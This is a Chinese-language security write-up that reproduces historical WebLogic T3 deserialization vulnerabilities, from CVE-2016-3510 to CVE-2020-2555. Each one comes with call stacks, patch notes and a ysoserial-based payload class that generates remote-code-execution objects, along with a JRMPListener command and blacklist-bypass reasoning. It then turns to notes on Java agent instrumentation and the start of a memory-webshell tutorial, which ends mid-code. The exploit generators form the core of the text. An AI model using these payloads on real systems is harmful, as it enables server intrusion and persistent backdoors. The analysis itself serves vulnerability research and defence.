分析这个CVE之前需要先对readResolve方法有所了解。这个方法属于一个回调方法,它会在对象反序列化过程中被调用,具体而言,在反序列化结束之前。分析过ObjectInputStream::readObject方法的师傅应该知道,对象的反序列化可以粗分为三步,在第三步结束之后,如果反序列化的类实现了readResolve方法,则会进行调用。下面这个readOrdinaryObject方法既是ObjectInputStream::readObject的底层实现。

private Object readOrdinaryObject(boolean unshared)
        throws IOException
{
    if (bin.readByte() != TC_OBJECT) {
        throw new InternalError();
    }
    //第一步:读类元信息
    ObjectStreamClass desc = readClassDesc(false);
    desc.checkDeserialize();

    Class<?> cl = desc.forClass();
    if (cl == String.class || cl == Class.class
        || cl == ObjectStreamClass.class) {
        throw new InvalidClassException("invalid class descriptor");
    }

    Object obj;
    try {
        //第二步:创建对象
        obj = desc.isInstantiable() ? desc.newInstance() : null;
    } catch (Exception ex) {
        throw (IOException) new InvalidClassException(
            desc.forClass().getName(),
            "unable to create instance").initCause(ex);
    }

    passHandle = handles.assign(unshared ? unsharedMarker : obj);
    ClassNotFoundException resolveEx = desc.getResolveException();
    if (resolveEx != null) {
        handles.markException(passHandle, resolveEx);
    }

    if (desc.isExternalizable()) {
        readExternalData((Externalizable) obj, desc);
    } else {
        //第三步:给字段赋值
        readSerialData(obj, desc);
    }

    handles.finish(passHandle);

    if (obj != null &&
        handles.lookupException(passHandle) == null &&
        desc.hasReadResolveMethod())
    {
        //调用对象的readResolve方法
        Object rep = desc.invokeReadResolve(obj);
        if (unshared && rep.getClass().isArray()) {
            rep = cloneArray(rep);
        }
        if (rep != obj) {
            // Filter the replacement object
            if (rep != null) {
                if (rep.getClass().isArray()) {
                    filterCheck(rep.getClass(), Array.getLength(rep));
                } else {
                    filterCheck(rep.getClass(), -1);
                }
            }
            handles.setObject(passHandle, obj = rep);
        }
    }

    return obj;
}

漏洞原理

在weblogic.corba.utils.MarshalledObject的readResolve中可以看到,这个方法会对objBytes字段进行反序列化,而且是新创建一个ObjectInputStream对象进行反序列化,没有任何黑名单过滤。那么我们就可以将反序列化gadget存储在MarshalledObject对象的objBytes字段中,实现攻击。

public Object readResolve() throws IOException, ClassNotFoundException, ObjectStreamException {
    if (this.objBytes == null) {
        return null;
    } else {
        ByteArrayInputStream var1 = new ByteArrayInputStream(this.objBytes);
        ObjectInputStream var2 = new ObjectInputStream(var1);
        Object var3 = var2.readObject();
        var2.close();
        return var3;
    }
}

最后贴一下完整的调用栈

readResolve:53, MarshalledObject (weblogic.corba.utils)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadResolve:1061, ObjectStreamClass (java.io)
readOrdinaryObject:1761, ObjectInputStream (java.io)
readObject0:1328, ObjectInputStream (java.io)
readObject:350, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
processSockets:105, NTSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

漏洞利用

生成恶意对象的poc如下,需要结合ysoserial来运行。

public class CVE_2016_3510 implements ObjectPayload<Object> {
    @Override
    public Object getObject(String... command) throws Exception {
        CommonsCollections1 commonsCollections1 = new CommonsCollections1();
        InvocationHandler object = commonsCollections1.getObject(command);
        MarshalledObject marshalledObject = new MarshalledObject(object);
        return marshalledObject;
    }

}

修复

补丁:2016年10月 p23743997_1036_Generic

修复方法就是在weblogic.corba.utils.MarshalledObject的readResolve方法中创建一个匿名内部类,重写resolveClass方法,然后加上黑名单过滤,偷两张图

image-20211103131143043

image-20211103131154316

CVE-2017-3248(JRMP分水岭)

原理

这个CVE实际上跟前面几个的出发点是类似的,都是在寻找没有被过滤的危险类进行反序列化。但是这个漏洞又有特殊点,因为它的利用过程涉及到了rmi,通过反序列化一个RemoteObject(未在黑名单中),通过它的readObject触发连接JRMP服务端,然后反序列化服务端传来的序列化数据(没有过滤),导致rce。给出漏洞触发的调用栈,这里涉及到rmi的底层源码,不是本文重点,所以就不详细分析了,如果有兴趣了解,可以找找分析rmi的文章。

readObject:343, ObjectInputStream (java.io) [2] //没有过滤
executeCall:225, StreamRemoteCall (sun.rmi.transport)
invoke:359, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:342, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:285, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:121, DGCClient (sun.rmi.transport)
read:294, LiveRef (sun.rmi.transport)
readExternal:473, UnicastRef (sun.rmi.server)
readObject:438, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:974, ObjectStreamClass (java.io)
readSerialData:1848, ObjectInputStream (java.io)
readOrdinaryObject:1752, ObjectInputStream (java.io)
readObject0:1328, ObjectInputStream (java.io)
defaultReadFields:1946, ObjectInputStream (java.io)
readSerialData:1870, ObjectInputStream (java.io)
readOrdinaryObject:1752, ObjectInputStream (java.io)
readObject0:1328, ObjectInputStream (java.io)
readObject:350, ObjectInputStream (java.io) [1]
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
processSockets:105, NTSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

漏洞利用

首先使用ysoserial启动一个JRMP服务器

java -cp ysoserial.jar  ysoserial.exploit.JRMPListener 7777 CommonsCollections1 'calc'

然后生成恶意序列化数据。调用getObject,传入JRMP服务器的ip:port,即可得到恶意对象

import org.jboss.util.Strings;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.ObjectPayload;

import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class CVE_2017_3248 implements ObjectPayload<Object> {
    @Override
    public Object getObject(String... command) throws Exception {
        String[] endpoint= Strings.split(command[0],":");
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint(endpoint[0], Integer.parseInt(endpoint[1]));
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(this.getClass().getClassLoader(), new Class[]{Registry.class}, obj);
        return proxy;
    }
}

将其序列化保存后得到poc.obj,然后用前面的脚本打即可

修复

补丁:p24667634_1036_Generic

修复手段是在InboundMsgAbbrev.ServerChannelInputStream中加入了黑名单过滤,过滤java.rmi.registry.Registry,偷一张图。

本文修复这部分的图都是偷的(因为找不到补丁,懒得打补丁,而且修复的方式都比较简单粗暴),图片来自李三师傅,侵删

image-20211103171855780

CVE-2018-2628

针对CVE-2017-3248的修复实际上是非常鸡肋的,笔者在学习这个洞的时候发现这个poc构造的有些莫名其妙,为什么非得用动态代理来生成一个Registry对象?实际上真正的入口应该是RemoteObject::readObject,也就是RemoteObjectInvocationHandler的父类。于是试着自己构造了一下CVE-2017-3248的poc,其实就是把动态代理的部分删了,发现也是可以打通的。

import org.jboss.util.Strings;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.ObjectPayload;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class CVE_2017_3248_1 implements ObjectPayload<Object> {
    @Override
    public Object getObject(String... command) throws Exception {
        String[] endpoint= Strings.split(command[0],":");
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint(endpoint[0], Integer.parseInt(endpoint[1]));
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        return obj;
    }
}

当时也没想到,其实这个poc也可以打它修复后的版本。与本章的主角CVE-2018-2628的poc构造思路有点相似。

原理

CVE-2018-2628的原理与CVE-2017-3248相似,这里不予赘述

漏洞利用

利用手法跟CVE-2017-3248相似,这里不予赘述,只给出生成恶意对象的脚本

import org.jboss.util.Strings;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.ObjectPayload;
import java.rmi.server.ObjID;
import java.util.Random;

public class CVE_2018_2628 implements ObjectPayload {
    @Override
    public Object getObject(String... command) throws Exception {
        String[] endpoint= Strings.split(command[0],":");
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint(endpoint[0], Integer.parseInt(endpoint[1]));
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        return ref;
    }
}

修复

补丁:2018年四月发布的p27395085_1036_Generic

据说是将UnicastRef加入了黑名单,可惜没拿到补丁没法细看。我的weblogic中没打补丁甚至连WebLogicFilterConfig这个类都找不到,估计是补丁里加的吧

image-20211103193708013

CVE-2018-2893

这个CVE算是将前面几个进行了一个大整合,实现了最终的绕过。用到了CVE-2016-0638的weblogic.jms.common.StreamMessageImpl,还用到了CVE-2017-3248的JRMP

原理

原理没什么好说的,该说的在前面几个CVE已经说的差不多了,这里给出调用链

readObject:343, ObjectInputStream (java.io) [3]
executeCall:225, StreamRemoteCall (sun.rmi.transport)
invoke:359, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:342, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:285, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:121, DGCClient (sun.rmi.transport)
read:294, LiveRef (sun.rmi.transport)
readExternal:473, UnicastRef (sun.rmi.server)
readObject:438, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:974, ObjectStreamClass (java.io)
readSerialData:1848, ObjectInputStream (java.io)
readOrdinaryObject:1752, ObjectInputStream (java.io)
readObject0:1328, ObjectInputStream (java.io)
defaultReadFields:1946, ObjectInputStream (java.io)
readSerialData:1870, ObjectInputStream (java.io)
readOrdinaryObject:1752, ObjectInputStream (java.io)
readObject0:1328, ObjectInputStream (java.io)
readObject:350, ObjectInputStream (java.io) [2]
readExternal:1433, StreamMessageImpl (weblogic.jms.common)
readExternalData:1791, ObjectInputStream (java.io)
readOrdinaryObject:1750, ObjectInputStream (java.io)
readObject0:1328, ObjectInputStream (java.io)
readObject:350, ObjectInputStream (java.io) [1]
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
processSockets:105, NTSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

值得仔细思考的有两点,这里用到的类前面的补丁不都已经ban掉了吗,怎么还能用?

之前的补丁中,在weblogic.jms.common.StreamMessageImpl::readExternal方法中,虽说是使用了FilteringObjectInputStream对反序列化数据进行过滤

image-20211103201042113

但是过滤时没有将Proxy类加入黑名单,所以这里我们可以bypass

另外,CVE-2018-2628的patch中已经将UnicastRef加入了黑名单,那为什么还能用?原因在于我们没有真正反序列化UnicastRef对象。在RemoteObject类的代码中可以看到,这里自定义了readObject,对于RemoteObject对象的ref字段(也就是UnicastRef),它并没有通过readObject来进行反序列化,而是直接通过反射new对象,所以也就不存在什么绕不绕过的问题。

image-20211103201659700

漏洞利用

import org.jboss.util.Strings;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import weblogic.jms.common.StreamMessageImpl;
import ysoserial.Serializer;
import ysoserial.payloads.ObjectPayload;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class CVE_2018_2893 implements ObjectPayload {

    @Override
    public Object getObject(String... command) throws Exception {
        String[] endpoint= Strings.split(command[0],":");
        ObjID objID = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint(endpoint[0], Integer.parseInt(endpoint[1]));
        UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, te, false));
        RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
        Object object = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler);
        StreamMessageImpl streamMessage = new StreamMessageImpl();
        byte[] serialize = Serializer.serialize(object);
        streamMessage.setDataBuffer(serialize,serialize.length);
        return streamMessage;
    }
}

修复

补丁:18年7月 p27919965_1036_Generic

将java.rmi.server.RemoteObjectInvocationHandler和加入了WebLogicFilterConfig类的黑名单

image-20211103202522823

CVE-2018-3245

原理

这个CVE的原理没什么好分析的,跟CVE-2018-2893相同,无非是换了个类罢了

weblogic这种哪里痛医哪里的做法,不知道怎么吐槽,看到攻击者poc用了哪个类就ban哪个类,一点也不多ban,甚至都不愿意去研究研究有没有别的相似的类也能进行攻击。weblogic官方不研究,那就只能是安全狗们来研究然后就被打花了。

其实看前面的分析也能有点感悟,其实我们用RemoteObjectInvocationHandler的原因,无非就是因为它继承了RemoteObject,然后通过RemoteObject::readObject来触发后续的流程。现在RemoteObjectInvocationHandler给ban了,那我们找其他子类不就得了。还得注意子类的包名不能在WebLogicFilterConfig类的黑名单中。

贴一下师傅们找出的可以利用的类

javax.management.remote.rmi.RMIConnectionImpl_Stub
com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
javax.management.remote.rmi.RMIServerImpl_Stub
sun.rmi.registry.RegistryImpl_Stub
sun.rmi.transport.DGCImpl_Stub

除此之外,试了一下下面这个类也行

sun.management.jmxremote.SingleEntryRegistry

漏洞利用


import org.jboss.util.Strings;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import weblogic.jms.common.StreamMessageImpl;
import ysoserial.Serializer;
import ysoserial.payloads.ObjectPayload;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.rmi.Remote;
import java.rmi.server.ObjID;
import java.util.Random;

public class CVE_2018_3245 implements ObjectPayload {
    @Override
    public Object getObject(String... command) throws Exception {
        String[] endpoint= Strings.split(command[0],":");
        ObjID objID = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint(endpoint[0], Integer.parseInt(endpoint[1]));
        UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, te, false));
        //1
//        RMIConnectionImpl_Stub object = new RMIConnectionImpl_Stub(unicastRef);
        //2
        Constructor<?> singleEntryRegistryConstructor = Class.forName("sun.management.jmxremote.SingleEntryRegistry").getDeclaredConstructor(int.class, String.class, Remote.class);
        singleEntryRegistryConstructor.setAccessible(true);
        Object object = singleEntryRegistryConstructor.newInstance(9999, "aaa", null);
        Field ref = Class.forName("java.rmi.server.RemoteObject").getDeclaredField("ref");
        ref.setAccessible(true);
        ref.set(object,unicastRef);


        StreamMessageImpl streamMessage = new StreamMessageImpl();
        byte[] serialize = Serializer.serialize(object);
        streamMessage.setDataBuffer(serialize,serialize.length);
        return streamMessage;
    }
}

修复

补丁:2018年8月 p28343311_1036_201808Generic

修复方法是将java.rmi.server.RemoteObject加入到黑名单,加入这个就比较机智了,因为我们上面找的那些类都是RemoteObject的子类,加入这个类就有点”根除”的意味了。

image-20211103210009129

CVE-2018-3191

原理

这个漏洞利用链不太复杂,总共就四步,很直白没什么好分析的,贴一下调用栈得了。属于JNDI注入

lookup:155, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookupUserTransaction:565, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
initUserTransactionAndTransactionManager:444, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
readObject:1198, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:974, ObjectStreamClass (java.io)
readSerialData:1848, ObjectInputStream (java.io)
readOrdinaryObject:1752, ObjectInputStream (java.io)
readObject0:1328, ObjectInputStream (java.io)
readObject:350, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
processSockets:105, NTSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

漏洞利用

需要把weblogic安装目录modules里的com.bea.core.repackaged.springframework.spring_1.2.0.0_2-5-3.jar引入到项目中

import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;
import ysoserial.payloads.ObjectPayload;

public class CVE_2018_3245 implements ObjectPayload<Object> {
    @Override
    public Object getObject(String... command) throws Exception {
        String jndiAddress = command[0];
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName(jndiAddress);
        return jtaTransactionManager;
    }
}

修复

补丁:2018年8月 p28343311_1036_Generic

可以看到JtaTransactionManager的父类AbstractPlatformTransactionManager被加入到了黑名单中

image-20211104120143505

后话

这里有一些困惑,为什么将父类加入黑名单也能起到防御作用?带着这个问题我再次去查看了一下ObjectInputStream::readObject的源码,找到了些许答案。

首先,在CVE-2016-3510中我们提到了,类的反序列化分为三步。在第一步:读类元信息的时候,会回调ObjectInputStream::resolveClass,也正是这个回调机制,使得我们可以在resolveClass中进行一些黑名单过滤。

image-20211104121840602

在回调完ObjectInputStream::resolveClass之后,递归调用了readClassDesc。在跟进之前,我们先记住本次调用解析到的类cl为JtaTransactionManager。

image-20211104122302574然后我们再跟进递归调用,发现递归调用解析到的类为JtaTransactionManager的父类AbstractPlatformTransactionManager。这就能说明,在反序列化过程中,父类信息也是会被当作参数传入resolveClass回调方法的。所以在resolveClass中拦截父类也是有效的。不过我这里没打补丁,所以没有拦截掉。

image-20211104122352811

CVE-2020-2555(类似CC)

原理

找漏洞的思路跟以往的CVE都是相同的,t3反序列化的入口一直存在, 我们只需要绕过黑名单找可利用的类即可。这次的CVE找到的是一条很像CC链的gadget,如果了解过CC链的,可以把这个gadget中的XXXExtractor理解为CC链中的XXXTransformer,就非常容易上手了。

下面来看看这条链子的触发过程。首先是反序列化触发BadAttributeValueExpException::readObject(这里笔者使用的jdk版本为8u144,低版本的BadAttributeValueExpException类可能没有readObject方法),由于System.getSecurityManager() == null结果为true,进入到了第二个else if中

image-20211104111832681

进而触发了LimitFilter::toString。在这个方法中调用了extractor.extract,extractor是从this.m_comparator获取的,方法参数也是从对象字段this.m_oAnchorTop获取的,也就是说这两个值我们都可以控制。

image-20211104111952395

设置this.m_comparator(即extractor)为ChainedExtractor对象,this.m_oAnchorTop为Runtime的Class对象。那么也就是会调用ChainedExtractor::extract(Class)。在这个方法中会遍历ChainedExtractor中所有的extractor(这里顾名思义,Chained的意思是链条,所以这个Extractor的作用就是将若干个extractor组合成链,保存在它的m_aExtractor字段中)。首先调用this.getExtractors()获取到链条中所有的extractor,然后循环调用extractor的extract方法。

image-20211104112351501

由于extractor链是存储在ChainedExtractor的m_aExtractor字段中的,所以我们可以控制,将它设置为这样

image-20211104112757652

我们选用的是ReflectionExtractor,这个extractor的作用就是反射调用方法,方法我们可以指定。图中分别指定的三个方法是getMethod,invoke,exec,那么如下链条的实际效果就类似

((Runtime)(Runtime.class.getMethod("getRuntime",new Class[0]).invoke(null,new Object[0]))).exec("calc");

到这里这条链子就结束了,最后贴一下完整的调用栈

exec:617, Runtime (java.lang)
exec:485, Runtime (java.lang)
invoke:-1, GeneratedMethodAccessor122 (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
extract:109, ReflectionExtractor (com.tangosol.util.extractor)
extract:81, ChainedExtractor (com.tangosol.util.extractor)
toString:580, LimitFilter (com.tangosol.util.filter)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2136, ObjectInputStream (java.io)
readOrdinaryObject:2027, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:67, InboundMsgAbbrev (weblogic.rjvm)
read:39, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:287, MsgAbbrevJVMConnection (weblogic.rjvm)
init:212, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:507, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:489, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:359, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:970, SocketMuxer (weblogic.socket)
readReadySocket:907, SocketMuxer (weblogic.socket)
process:495, NIOSocketMuxer (weblogic.socket)
processSockets:461, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

漏洞利用

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;
import ysoserial.payloads.ObjectPayload;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;

public class CVE_2020_2555 implements ObjectPayload<Object> {
    @Override
    public Object getObject(String... command) throws Exception {
        ValueExtractor[] valueExtractors = new ValueExtractor[]{
            new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
            new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
            new ReflectionExtractor("exec", new Object[]{command})
        };
        LimitFilter limitFilter = new LimitFilter();
        limitFilter.setTopAnchor(Runtime.class);
        BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
        Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
        m_comparator.setAccessible(true);
        m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors));
        Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
        m_oAnchorTop.setAccessible(true);
        m_oAnchorTop.set(limitFilter, Runtime.class);
        Field val = expException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(expException, limitFilter);
        return expException;
    }
}

修复

红色是老版本,绿色是修复后的版本,可以看到,将extractor.extract直接删除了,图片来源

image-20211104114524904

总结

weblogic的古老漏洞复现到这里先做个总结,这篇文章也是跟着李三师傅的博客复现下来的,非常感谢师傅无私分享。

在复现过程中也有一些自己的思考,学到了一些新东西,这里汇总一下

  1. t3、weblogic rmi、jrmp、java rmi之间的关系
  2. java序列化Externalizable接口,通过实现readExternal来自定义反序列化流程(当然readObject也能实现同样的效果)
  3. java反序列化回调方法readResolve,该方法在第三步读取完对象字段之后被调用
  4. java反序列化第一步读取类元信息时,会调用resolveClass来解析序列化数据中给出的类,此时会从子类开始,解析到父类。所以拦截父类的效果通常来说比子类更好,打击范围更大。

参考文章

WebLogic安全研究报告

Java 序列化之 Externalizable

weblogic历史T3反序列化漏洞及补丁梳理

前言

这篇文章主要是在学习java内存马的过程中,理解agent类型内存马时出现了一些问题,于是就来学了一下agent的一些api。主要想搞清楚retransformClasses和redefineClasses之间有什么区别。

Instrumentation::retransformClasses

根据函数名,可以大概知道这个函数的作用:重新转换类。接着我们看官方说明

This function facilitates the instrumentation of already loaded classes.

When classes are initially loaded or when they are redefined, the initial class file bytes can be transformed with the ClassFileTransformer. This function reruns the transformation process (whether or not a transformation has previously occurred).

从官方说明可以得知,当一个类最开始被加载或者是重定义的时候,类的字节码会被ClassFileTransformer进行转换。所谓转换,就是修改类的字节码。而retransformClasses函数的作用,就是重新执行一遍转换的过程。

重新转换的过程如下

  1. 从初始的字节码开始,遍历每个transformer
  2. 如果transformer是RetransfomableTransformer,则执行它的transform方法

Instrumentation::redefineClasses

根据函数名,可以大概知道这个函数的作用:重新定义类。与retransformClasses的区别在于,retransformClasses是拿到原来的字节码,然后可以对其进行修改,而redefineClasses是直接给出自定义的字节码。用一个不太恰当的比喻,retransformClasses可以看作是动态代理实现类增强,而redefineClasses则是重新写一个类。

相同点是,无论使用哪个函数,都不能对类的字段、方法签名做修改,更不能添加或删除字段或方法。且无论是redefineClasses还是retransformClasses都不会触发类的初始化操作

ClassFileTransformer

前面在讲Instrumentation::retransformClasses方法的时候,就提到了ClassFileTransformer,即class文件转换器。retransformClasses方法功能的实现也是依赖于这个class文件转换器。下面就来看看官方对这个接口的说明

这个接口就一个方法transform

The implementation of this method may transform the supplied class file and return a new replacement class file.

官方说了,实现这个方法可以转换类文件,返回一个新的类文件。

继续看一下具体细节,我们可以通过Instrumentation::addTransformer方法来添加我们自定义的class文件转换器。这个方法的第二个参数用来指明这个转换器是否是Retransformation capable的。

the transformer will be called for every new class definition and every class redefinition. Retransformation capable transformers will also be called on every class retransformation.

转换器在每个新类定义或者是重定义时都会被调用。如果转换器被设置成Retransformation capable,那么在重转换,也就是Instrumentation::retransformClasses方法调用时,转换器也会被调用。

当我们多次调用Instrumentation::addTransformer,添加多个ClassFileTransformer时,就构成了一条转换器链。

对于转换器链上第一个转换器的transform方法的传入参数classfileBuffer,官方做出了解释

  • 当新类定义时,classfileBuffer就等价于传递给defineClass的字节数组
  • 当类重定义时,classfileBuffer就是definitions.getDefinitionClassFile()的返回值
  • 当类重转换时,如果这个类被重定义过,那么classfileBuffer就是最后一次重定义的结果;如果没有重定义过,那么classfileBuffer就是第一次加载时传递给defineClass的字节数组。

前言

所谓内存马,就是运行在内存中的一段后门程序,它在磁盘上没有具体的代码文件,所以相较于普通马来说隐蔽性更高。具体到java内存马来说,java内存马就是jvm中的一些恶意类或者是被寄生的类(原先是正常类,但是后来被植入了恶意代码,通常通过agent植入)。这些类能够在后端处理请求的过程中被调用,从而触发我们的后门代码执行。

java内存马可以分为粗分为两类,一类是agent型,一类是非agent型。除了agent型之外的都可以统称为非agent型,包括servlet型、spring型、以及具体中间件类型等。下面主要介绍servlet、spring和agent类型的内存马。

servlet

使用servlet原生api注入内存马有三种方式,分别对应了servlet的三大组件,即servlet、filter、listener。注意servlet本身也是servlet api的一个组件。通过动态注册这三大组件,以达到在请求处理的流程中的不同时机执行恶意代码的目的。

其实,要想注册三大组件,本身也需要一个恶意代码执行的点,就比如反序列化漏洞造成的恶意代码执行。所以其实是我们先通过恶意代码执行点写入内存马,以后再想执行恶意代码时,可以直接通过内存马来执行,就不再需要构造复杂的payload了。

而servlet中的所有组件当中,filter和listener较为好用,servlet可能会受到拦截器的拦截,无法执行。具体的注册原理请看这篇文章,这里不赘述。

下文提到的servlet类和spring类的内存马都是通过反序列化漏洞来注入的。

filter

在注册filter时,我们执行的恶意代码如下。

这个类本身即是AbstractTranslet的子类,又实现了Filter接口。在注册filter时,可以直接将自身注册。

package ysoserial.payloads.memshell.tomcat;


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Arrays;
